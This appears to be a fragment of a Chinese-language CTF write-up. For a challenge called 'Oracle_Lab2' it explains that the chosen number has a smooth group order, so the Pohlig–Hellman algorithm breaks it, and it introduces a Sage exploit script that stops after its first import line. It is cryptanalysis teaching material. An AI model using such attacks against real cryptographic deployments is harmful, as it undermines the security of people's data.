参见wiki,原本不想把这题设置成烂大街的题目的,但是因为出题人疏忽,就。。。
Oracle_Lab2
这个数字是特意选择的,因为它的阶是一个smooth number,原理上来说你需要Pohlig–Hellman algorithm。实际上,看exp吧,请用sage运行:
1 | from Crypto.Util.number import long_to_bytes |